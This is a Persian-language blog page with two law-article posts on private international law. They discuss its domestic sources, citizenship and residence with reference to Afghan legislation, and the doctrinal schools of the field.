به نظر علمای حقوق، حقوق بین الملل خصوصی از جمله حقوق وضعی می‌باشد. دانشمندان این رشته حقوق، عقیده دارند برای‌ اینکه قواعدحقوق بین الملل خصوصی مانند حقوق و مقررات داخلی یک کشور وضع می‌شود و در منصه اجرا درمی‌آید، هر دولت مستقل حق دارد قواعد، مقررات واصول حقوق بین الملل خصوصی را مانندحقوق داخلی کشور وضع کند و در عمل پیاده نماید و از این جهت حقوق بین الملل خصوصی را، حقوق وضعی می‌دانند. باید اذعان کرد که در پیاده کردن و تعمیل قواعد و مقررات حقوق بین الملل خصوصی، با وجودی‌که حقوق موضوعه می‌باشد، در وضع آن غرض جلوگیری از برخورد با قوانین سایر کشورهای مستقل و حمایت از حاکمیت ملی آنها، دول مجبور خواهد بود، یا از طریق موافقه نامه‌های صریح و قراردادهای بین‌المللی سیاسی یا هم از طریق توافق ضمنی یا ایجاد عرف بین‌المللی، مسایل مربوط به اتباع خود را در دولت دیگر تنظیم کند. با ذکر این مختصر می‌توان گفت که حقوق بین الملل خصوصی هم از منابع داخلی و هم منابع بین‌المللی نشات می‌کند.

 

منابع داخلی حقوق بین الملل خصوصی

 

وقتی از منابع داخلی صحبت به عمل می‌آید، علمای حقوق بر دو اصل، قانون و رویه قضایی داخلی، عطف توجه می‌کنند. پس قانون و رویه قضایی از جمله منابع داخلی حقوق بین الملل خصوصی به شمار می‌رود.

 

قانون، به حیث منبع حقوق بین الملل خصوصی

 

ما از قانون چه از نظر متنی و چه هم از نظر شکلی، بحث نموده می توانیم. قانون از نظر متن در افغانستان مصوبه دو بخش شورا است که از طرف رییس جمهور توشیح شده باشد.

از نظر شکلی قانون باید از جریده رسمی غرض آگاهی عامه به نشر برسد زیرا بی خبری از قانون سبب برائت ذمه نمی‌گردد. به همین ترتیب قانون باید بر همه یکسان تطبیق شود، ممیزه اصلی قانون اجباری یا الزامی بودن آن و تطبیق مساوی آن بر تمام کسانی‌که واجب تطبیق قانون باشد یکسان تطبیق می‌شود.

وقتی ما از قانون، به حیث یک منبع حقوق بین الملل خصوصی صحبت می‌کنیم هدف ما از قانون مملکتی است که قضیه حقوقی در آن کشور موضوع رسیدگی محکمه ذیصلاح قرار می‌گیرد، از نظر فلسفه حاکمیت دولت‌ها، وقتی قضیه در محاکم یک کشور مورد رسیدگی قرار می‌گیرد، محکمه خود را مکلف می‌داند قوانین و مقرراتی را در حل وفصل قضیه مورد رسیدگی تطبیق کند که قوه مقننه آن مملکت وضع و نافذ کرده است.  فرض شود در محاکم افغانستان، قضیه‌ای مطرح است که موضوع بحث آن حقوق بین‌المللی خصوصی می‌باشد. محاکم مکلف می‌باشند تا در قضیه مورد رسیدگی، قانون موضوعه مملکت خود را مدنظر گرفته و در روشنایی آن قضیه را حل وفصل کند. تصور شود قضیه مورد بحث محکمه تابعیت یک خارجی است، اولین کاری را که باید محکمه افغانستان بررسی کند، مراجعه است به قانون تابعیت افغانستان به همین ترتیب اگر قضیه مورد بحث، موضوع حقوق بیگانه یا تنازع قوانین باشد، محکمه در قدم اول به قانون افغانستان مراجعه کرده، می‌‌بیند که قانون تابعیت یا قانون مدنی افغانستان در مورد چه حکمی دارد و چطور در حل قضیه، اجرای عمل کند.  مواد 16 تا 35 قانون مدنی افغانستان مواردی را تصریح کرده که به حقوق بین الملل خصوصی تعلق می‌گیرد. ماده 16 قانون مدنی مشعر است:«در مورد تشخیص رابطه حقوقی در قضیه‌ای‌که تنازع قوانین در آن موجود باشد، احکام قانون افغانستان قابل تطبیق می‌باشد.»

افغانستان، در طول سه دهه جنگ و قبل از آن، چندین سند تقنینی دارد که هر کدام در مورد اصول افغانستان، تابعیت افغانی و معامله با بیگانه‌گان بحث شده است. در این زمره ما می‌توانیم از قانون تابعیت جمهوری دموکراتیک افغانستان سال 1365 زمان ببرک کارمل، قانون تابعیت دوره نجیب، مورخ 29 حوت 1370 و قانون تابعیت دوره طالبان نام برد. هر یکی از این قوانین در مورد تابعیت افغانستان، به استثنای تغییر عبارات عین مفهوم را دارند.  به طوری مثال ماده چهارم قانون تابعیت دوره کارمل، ماده چهارم قانون تابعیت دوره نجیب و ماده دوم قانون تابعیت افغانستان دوره طالبان بر اصول دادن تابعیت و شناسایی شخص به حیث یک افغان، معلومات می‌دهد. زمانی‌که از تابعیت، سخن زدیم باید موضوع تابعیت را ماده وار از قانون نافذه تابعیت افغانستان مورد رسیدگی قرار دهیم.

فصل سوم

 

بررسی تابعیت و محل اقامت ( Citizenship and residency or domicile )

 

در این فصل روی دو مبحث مهم حقوق بین‌الدول خصوصی که عبارت از: تابعیت و محل اقامت افراد

 

تابعیت

 

در جهان کنونی افراد به نحوی از انحا یا به حکم اجبار و یا هم از طریق اختیاری متعلق به یک دولت مشخصی می‌باشند. از این جهت مهم‌ترین مشخصه در این بخش، تقسیم افراد است در محلات مختلف جغرافیایی و تابعیت افراد از مسایل مهم این تقسیم بندی می‌باشد.

در حقیقت تابعیت عبارت است ار رابطه سیاسی و معنوی یک فرد به یک دولت معین، علمای این رشته حقوق عقیده دارند که رابطه بین یک شخص و دولت، یک رابطه سیاسی می‌باشد و ناشی می‌شود از قدرت حاکمه دولت که شخص را ملزم به تابعیت می‌کند. اگر در قوانین اساسی دولت‌ها دیده شود، موضوع تابعیت به حیث یک اصل مهم گنجانیده شده، مثلا در قانون اساسی مورخه 14 جدی سال 1382 هجری شمسی افغانستان، ماده 28، 39 و سایر مواد آن بر اصل حقوق یک تابع افغان تذکر به عمل آمده است.

 

عده‌ای از علمای حقوق بین الملل خصوصی عقیده دارند که رابطه بین فرد و دولت یک رابطه معنوی می‌باشد که مربوط یک محل مشخصی نمی‌باشد که فرد در آنجا زندگی می‌کنند. به طور مثال یک افغان در پاکستان اقامت دارد، ولی رابطه معنوی او با افغانستان است و در پاکستان با او به حیث یک افغان یا تبعه افغانستان معامله می‌شود. پس تا زمانی‌که یک افغان از تابعیت افغانی قصدا و ارادتا نگذرد، هیچ دولت حق ندارد او را به حیث تبعه خودش بشناسد، بناءً بین فرد و دولت، یک رابطه معنوی موجود می‌باشد.

هر شخصی که تابعیت یک دولت معین را دارد، در خارج از مملکت متبوعش او را به حیث تابع آن دولت می‌شناسد و این فرد از عین امتیازاتی در خارج برخوردار نمی‌باشد که در آنجا مقیم است و یک فرد تابع آن کشور از آن برخودار است. به طور مثال دادن یا گرفتن رای، حق انتخاب و یا شاید در افغانستان خریدن عقار برای یک خارجی میسر نمی‌باشد. بنابر ذکر این مختصر می‌توان گفت، شخصی‌که تابعیت یک کشور را دارد، او را در جامعه بین‌المللی به حیث تابع آن کشور می‌داند که تابعیت آن را دارد. اگر یک فرد تابعیت کدام دولت را ندارد، در جامعه بین‌المللی او را بدون تابعیت یا statelees می‌نامند.

شرط عمده تحقق تابعیت عبارت است از رابطه بین فرد و یک دولت مستقل. چون دولت یک شخصیت حکمی حقوق عمومی است که از طرف سایر دول به رسمیت شناخته می‌شود، بناءً شرط اولی تابعیت وجود دولت مستقل می‌باشد. یعنی تا زمانی‌که یک شخص متعلق به یک دولت مستقل از طرف جامعه بین‌المللی شناخته نشده باشد، در جامعه جهانی نزد دول دیگر، چون دولت متبوع فرد شخصیت حکمی مستقل ندارد، تابعیت چنین فرد نیز مورد سوال می‌باشد.

دولت مستقل یا independent state شخصیت حقوقی است که در حقوق بین الملل عمومی او را به حیث نماینده رسمی گروهی از افراد می‌شناسند.

رکن اصلی دولت در جهان امروزی قدرتحاکمه یا sovereignty آن می‌باشد. البته ساحه جغرافیایی و نفوس، از ارکان دیگر یک دولت مستقل می‌باشد. نفوس که مفهوم کلی آن مردمانی می‌باشد، که بدون در نظرداشت تعلقات نژادی، لسانی، مذهبی، قومی و آرزو و امیال مشترک، در یک ساحه معین جغرافیایی، تحت قدرت حاکمه مستقل زندگی می‌کنند.

بناءً وقتی ما از دولت صحبت می‌کنیم، فورا موضوع ملت آن دولت در یک ساحه معین جغرافیایی، نزد ما تجسم می‌کند. نفوس در یک دولت که آن را ملت نه ملیت هم نامند، عبارت اند از تابع آن دولت. نباید اشتباه کرد که تمام کسانی‌که در یک دولت اقامت دارند، تابع آن دولت می‌باشند. پس هر شخص طبیعی، باید تابع یک دولتی باشد، مگر امروز در جهان افرادی هم هست که تابع هیچ دولت مشخص خود را نمی‌دانند و ادعای جهانی می‌کنند، که این مفکوره تا هنوز در حقوق بین الملل عمومی یا خصوصی رسمیت نیافته است.

به خاطر باید داشت که هر شخص حقیقی می‌تواند تبعه دولتی باشد. در حقیقت تابعیت برای اشخاص حقیقی اختصاص داده شده و بر افراد حقیقی است که دولت‌ها را تشکیل می‌دهد نه اشیا و اشخاص حکمی، زیرا اشیا و اشخاص حکمی تابعیت خود را از اشخاص تابع یک دولت کسب می‌کنند. بناءً رابطه بین تبعه و دولت یک رابطه قراردادی نبوده، صرف رابطه سیاسی می‌باشد. اشخاص حکمی حق دادن تابعیت را به افراد ندارد. دولت است که می‌تواند برای افراد تحت شرایط خاص قانونی و حقوقی، تابعیت بدهد یا تابعیت داده شده را از او سلب کند.

علمای حقوق بین الملل عقیده دارند که صرف دولت است که برای اشخاص تابعیت می‌دهد، افراد حق ندارند تا ادعای تابعیت، جز احکام مندرج قانونی که دولت وضع کرده، از یک دولت ادعای تابعیت کند. هیچ دولت مجبور شده نمی‌تواند تا شخصی را به تابعیت خود قبول کند. دولت می‌تواند اتباع خارجی را تحت شرایط خاص جغرافیایی، اقتصادی و سیاسی آن‌هم مطابق احکام قانون آن دولت، به تابعیت خود بپذیرد یا ادعای او را رد کند و یا هم تابعیت داده شد را از او سلب نماید.

امروز دولت‌ها این اصل را قبول کرده اند که تمام اتباع یک دولت باید تحت یک رژیم حقوقی دارای حقوق مساوی در برابر قانون باشند. این اصل در سابق رعایت نمی‌شد و بین اتباع خود تفاوت می‌گذاشتند. ولی بنابر تحول در افکار جهانی و اعلامیه‌های حقوق بشر و کنوانسیون‌های منعقده بین دولت و از طرف دولت، این اصل را پذیرفته اند که تمام مردم بدون در نظرداشت رنگ، نژاد، قبیله، لسان، دین و مذهب در یک دولت، باهم حقوق و وجایب مساوی دارند.

امروز دولت‌ها این اصل را قبول کرده اند که تمام اتباع یک دولت باید تحت یک رژیم حقوقی دارای حقوق مساوی در برابر قانون باشند. این اصل در سابق رعایت نمی‌شد و بین اتباع خود تفاوت می‌گذاشتند. ولی بنابر تحول در افکار جهانی و اعلامیه‌های حقوق بشر و کنوانسیون‌های منعقده بین دولت و از طرف دولت، این اصل را پذیرفته اند که تمام مردم بدون در نظرداشت رنگ، نژاد، قبیله، لسان، دین و مذهب در یک دولت، باهم حقوق و وجایب مساوی دارند.

 

الف) اقامت

موضوع اقامت با تابعیت کاملا متفاوت است. اشخاص می‌توانند با موافقه دولت خارجی، مطابق احکام قانون آن مملکت طور دایمی یا موقتی، در آنجا اقامت اختیار کند. اقامت نمودن، تحت شرایط خاص یک مملکت با رعایت قانون آن مملکت، برای یک فرد در احوال خاص اجازه می‌دهد تا از امتیازات چند برخوردار شود ولی از حقوق سیاسی بهره برده نمی‌توانند.

اشخاص در شرایط امروزی بنابر عوامل مختلف از یک کشور به کشور دیگر سفر کرده می‌توانند. مثلا سیاحت یا در حالت انتقال که آن را transit می‌نامند، افراد خارجی می‌تواند در مملکت دیگر





نوع مطلب : مقالات حقوقی، 
برچسب ها :
لینک های مرتبط :


« بررسی تابعیت و اقامتگاه در حقوق بین‌الملل خصوصی »

 

مقدمه :

زندگی در جامعه بین‌المللی در حقیقت از طریق شیوه خاص غرض تنظیم روابط افراد با افراد یا با افراد کشورهای دیگر، موجب به میان آمدن حقوق بین‌الدول خصوصی گردیده است. برای این که روابط افراد یک کشور با کشورهای دیگر موجب به میان آمدن و انکشاف حقوق بین الملل خصوصی می‌شود، ما از این جهت روابط افراد یک دولت با افراد و مقامات دولت‌های دیگر، از حقوق بین الملل خصوصی سخن می‌زنیم تا این بخش حقوق را از حقوق بین الملل عمومی متمایز کنیم زیرا حقوق بین الملل عمومی از روابط یک دولت با دول دیگر یا موسسات بین‌المللی بحث می‌کند. دول امروزی توسط مرزهای خاصی که اکثرا توسط معاهدات بین‌المللی از یکدیگر جدا شده‌اند رسمیت می‌یابد. هرگاه فرد یک کشور از خط سرحدی کشورش به کشور دیگر قدم می‌گذارد فورا موضوع ارتباط یک فرد با فرد یا دولت دیگر عرض وجود می‌کند. اگر درست دقت شود ما به این موضوع پی خواهیم برد که ایجاد موانع در روابط دو کشور ناشی از سرحد مشخصی است که حدود جغرافیایی یک دولت را از دولت دیگر متمایز می‌سازد.

پس وجود سرحد بین‌دولت‌ها، افاده می‌کند که مرز بین دو کشور مستقل، حد فاصل بین افراد شان می‌باشد. باید گفت که دولت‌های مختلف‌، از خود قواعد خاص حقوقی دارند که از دولت دیگر مجزا بوده و بر مبنا و طرز تفکر خاص خود آن کشور استوار می‌باشد. یا به عباره دیگر، از خود قوانین متمایز از قوانین و تشکیلات قضایی مملکت دیگر دارد. برای اینکه ما توانسته باشیم بین افراد دو طرف سرحد، ارتباطی بر قرار کنیم باید وسایلی ایجاد کرد تا روابطافراد دو یا چند کشور را در فرا سوی مرز کشورها تنظیم و تضمین حقوقی بخشید. به این ملحوظ می‌توان گفت: «حقوق بین‌الملل خصوصی، فنی است که این وسایل را برای ما می‌آموزاند.

 

 فصل اول

 تعریف حقوق بین الملل خصوصی

حقوق بین الملل خصوصی شعبه‌ای از علم حقوق است1 که روابط افراد را در عرصه بین‌المللی مورد بحث قرار می‌دهد.

حقوق بین الملل خصوصی را اگر از نگاه مجموعه حقوق بین‌المللی خصوصی مورد مطالعه قرار دهیم، به چنین مباحث باید بپردازیم.

موضوع حقوق بین الملل خصوصی آنگاه مطرح بحث قرار می‌گیرد که یک عنصر خارجی در محکمه غیر متبوع شخص، ارایه شود. به عباره دیگر وقتی یک خارجی ادعایی را که در محکمه مملکت دیگر علیه یک تبعه آن مملکت یا تبعه آن مملکت علیه یک فرد خارجی اقامه می‌کند، پس حقوق بین الملل خصوصی شعبه‌ای از علم حقوق است که در علم حقوق بحثی نسبتاً تازه وارد است و ارتباط می‌گیرد به روابط و تنظیم روابط افراد دول مختلف در ساحه بین‌الملل.

برخی‌ از دانشمندان مدعی‌ اند که: «در این علم تنها از روابط افراد بحث نمی‌شود، بسیاری از مقررات آن حاکم بر روابط فرد و دولت است و شاید لازم باشد آنرا از جمله حقوق عمومی بشناسیم، چنانچه موضوع تابعیت که رابطه سیاسی فرد را با دولت تنظیم می‌کند، از همین رشته حقوق بحث می‌کند.»3

در جوامع کنونی ملاحظه می‌شود که در مملکت با درنظر داشت اقتضا و شرایط بین‌المللی، مناسبات خود را با کشور دیگر تنظیم می‌کند و برای تنظیم چنین روابط، اصول و قواعد خاص ایجاد می‌کنند تا از یک‌ طرف با حقوق داخلی آن کشور سازگار و هم آهنگ باشد و از طرف دیگر با کشورهای دیگر در فضای مسالمت آمیز، این مقررات و قواعد را چنان عیار سازند تا در روابط‌اش با کشورهای دیگر مواجه به مشکلی نشوند. بنابر ذکر مطالب فوق گفته می‌توانیم که، چون امروز در جهان ممالک متعدد و مستقل وجود دارد که تامین و تنظیم روابط بین افراد شان، موجب ایجاد حقوق بین الملل خصوصی شده است.  در جهان کنونی، هیچ کشوری دیده شده نمی‌تواند که بدون داشتن روابط با کشور دیگری به تنهایی عرض وجود کند، بنابراین حس کنجاوی افراد با در نظرداشت همنوعی، برآوردن نیازمندی‌های مردم و ایجاد تماس بین افراد ممالک مختلف موجب دادوستد بین افراد شان می‌گردد و این روابط سبب به میان آمدن داد و گرفت جهانی شده و موجب به میان آمدن روابط خصوصی در صحنه بین‌المللی می‌گردد.

موضوع سرحد یا مرز بین دولتین موجب بحث حقوق بین الملل خصوصی می‌شود، هر وقتی سخن از مرز به میان می‌آید، موضوع حقوق بین الملل خصوصی عرض وجود می‌کند. با ذکر این مقدمه مختصر، می‌پردازیم به مشخصات حقوق بین‌الدول خصوصی:

 

اول: بین‌المللی بودن

عده از علمای حقوق، بین‌المللی بودن حقوق بین الملل خصوصی را بی اعتبار دانسته اند:de vareille sommiers ، دانشمند فرانسوی به این عقیده است که حقوق بین الملل خصوصی از شعبه حقوق داخلی بوده و نمی‌توان بر آن نام حقوق بین الملل را گذاشت. عالم دیگری به نام naboyet صریحا می‌گوید که حقوق بین الملل خصوصی به هیچ وجه جنبه بین‌المللی ندارد.

عده‌ای از دانشمندان حقوق به این عقیده‌اند که چون حقوق بین الملل خصوصی از لحاظ شیوه حل مسایل مربوطه، فاقد جنبه بین‌المللی است. زیرا هر دولتی در وضع و اجرای قواعد و مقررات راجع به آن برای این‌که منصفانه وصحیح باشد، ناگزیر از رعایت حاکمیت سایر دولت‌ها است و اشکالی ندارد که برای این شعبه‌ای از حقوق جنبه بین‌المللی قایل شویم.

 

دوم: خصوصی بودن

این‌که حقوق بین الملل خصوصی از جمله شعب حقوق عامه یا خصوصی است، بین علمای حقوق، اختلاف نظر وجود دارد. از تعریفی که قبلا از حقوق بین الملل خصوصی ارایه شد، استنباط می‌شود که این رشته حقوق از جمله مباحث حقوق خصوصی یا حداقل از حقوق عمومی انشعاب کرده است.

عده‌ای از علمای حقوق نظر به دلایل آتی خصوصی بودن حقوق بین الملل خصوصی را به دیده‌ی شک می‌نگرند. این علما عقیده دارند که دولت‌ها در جهان کنونی در امور و روابط حقوقی افراد خصوصا، خارجی‌ها بیش از حد مداخله می‌کنند؛ خاصتا این نوع مداخله بعد از 11 سبتمبر 2001 از حد نارمل مداخله فزونتر رفته و جنبه خصوصی بودن این رشته حقوق را ضعیف‌تر کرده است. به طور مثال مداخله دولت‌ها در امور اقتصادی افراد، ملی ساختن صنایع، مداخله در امور قراردادها، ممنوعیت روابط اتباع شان با افراد دولت‌هایی‌که دولت متبوع فرد با آن دولت رابطه خوب سیاسی ندارد و از این قبیل مسایل ساحه تطبیق حقوق بین الملل خصوصی را ضعیف کرده که در نتیجه مداخلات دولت‌ها در امور معاملات خصوصی افراد، حقوق بین الملل خصوصی را تحت نفوذ حقوق عامه قرارداده است.

 

مکاتب حقوقی

 

بعد از انکشافات اولیه این رشته حقوق، نظر و عقاید مختلفی در مورد آن عرض وجود کرد. عده‌ای از علمای حقوق بین الملل خصوصی، این مکاتب را به دو دسته، حقوق بین الملل خصوصی از نظر قدامت تاریخی و حقوق بین الملل خصوصی معاصر، تقسیم کرده اند. به میان آمدن این رشته حقوق، موضوع خارجی‌ها، تبارز می‌کند. در یونان قدیم، باشندگان یک شهر، در برابر شهر دیگر بیگانه شناخته می‌شدند وحتا در جنگ‌ها به حیث اسیروغلام گرفته می‌شدند.

حقوق بین الملل خصوصی معاصر، بیشتر روی تنازع قوانین اختلافاتی که در قوانین کشورهای مختلف در معامله با خارجی‌ها قابل تطبیق می‌باشد، صحبت به عمل می‌آورند.

 

علمای این رشته حقوق، در این دوره مکاتب خاص را ایجاد کرده‌اند:

 

1- حقوق بین‌المللی خصوص به حیث حقوق ملی،

 

2- حقوق بین‌المللی خصوصی، به حیث حقوق فرد،

 

3- سایر مکاتب.

 

از نظر آنانی‌که حقوق بین الملل خصوصی را به حیث قانون محلی می‌شناسند، عقیده دارند که، قوانین هر مملکت صرف در همان ممکلت، قابل تطبیق می‌باشد.

با وجودی‌که این مکتب معتقد به محلی بودن قوانین است، ولی بنابر نزاکت‌های بین‌المللی و سیاسی، بعضا بنابر وجود معاهدات بین‌المللی، قبول می‌کنند که در پاره‌ای از موارد، قانون مملکت دیگر را تطبیق کنند. این عملیه بر رویه بالمثل استوار می‌باشد، یعنی وقتی یک مملکت برای مملکت دیگر اجازه می‌دهد قوانین او را در مملکت خود تطبیق کند. باید مملکت دیگر نیز عین حقوق را برای مملکتی که صلاحیت تطبیق قانون خارجی را در مملکت خود داده در مملکت دیگر قایل شود، مثلا تبادله مجرمین بنابر رویه بالمثل باید گفت که هیچ مملکت مستقل وجیبه ندارد، قانون مملکت خارجی را در قلمرو خود تطبیق کند مگر اینکه بر اساس معاهده یا رویه بالمثل باشد.

مساله نزاکت بین‌المللیبرای بار اول از هالند به انگلستان و از آنجا به جزیره استکالند و سپس بهانگلستان نفوذ پیدا کرد که موجب ضعف اصول محلی بودن این رشته حقوق گشت. موسسه حقوق بین‌المللی در جلسه اولی اش در سال 1874 دایر شد در مورد نزاکت بین‌المللی چنین فیصله نمود: «اجرای قوانین خارجی در روابط حقوقی اشخاص محض نتیجه نزاکت بین‌المللی می‌باشد.» رعایت و حفظ حقوق، از طرف دول یک تکلیف است و هدف از این رعایت تامین عدالت بین‌المللی می‌باشد.

ایالات متحده امریکا و انگلستان به این نظریه موافقه ندارند. به عقیده علمای حقوق این دو کشور حقوقدانانی‌که عقیده به شخصی بودن قوانین دارند بار اول در قرن 19 در ایتالیا ظهور کرد و به سایر ممالک اروپایی راه پیدا کرد. این مکتب، عقیده دارد که هدف و موضوع تطبیق قوانین، فرد یا افراد است و افراد از مملکتی به مملکت دیگر سفر می‌نماید بنابراین تنظیم روابط در ساحه بین‌المللی، یک اصل حقوق بین‌المللی می‌باشد که نه نزاکت بین دولتین.

 

در مورد ذیل آن نظریه تطبیق شده نمی‌تواند:

 

1- تامین نظم عامه،

 

2- رعایت اصول و شکلیات سند و ترتیب نمودن آن،

 

3- در صورتی‌که متعاقدین در عقد قرارداد خود را تابع قانون دیگری ساخته باشد.

 

عده‌ای از علما چون حقوق دان المانی saveginy در محلی بودن و بین‌المللی بودن این اصلعقیده دارد یعنی او معتقد است که حقوق بین الملل خصوصی یک اصل محلی می‌باشد. پیروان مکتب فرانسوی عقیده دارند که رعایت از قوانین خارجی، حفظاحترام بهقوانین مملکت دیگر است نه خاصیت ملی یا بین‌المللی آن.





نوع مطلب : مقالات حقوقی، 
برچسب ها :
لینک های مرتبط :




( کل صفحات : 5 )    1   2   3   4   5   
درباره وبلاگ


دانلود رایگان نمونه سوالات + مقالات + آموزش كامپیوتر و اینترنت ، آهنگ جدید خوانندگان ، سوالات امتحانی ، اختبار ، استخدامی و آموزش حقوقی دانشگاه پیام نور و ...

مدیر وبلاگ : وفادار و قانونمند
مطالب اخیر
موضوعات
نظرسنجی
شما از 20 چه نمره ای به سایت میدهید ؟







جستجو

آمار وبلاگ
کل بازدید :
بازدید امروز :
بازدید دیروز :
بازدید این ماه :
بازدید ماه قبل :
تعداد نویسندگان :
تعداد کل پست ها :
آخرین بازدید :
آخرین بروز رسانی :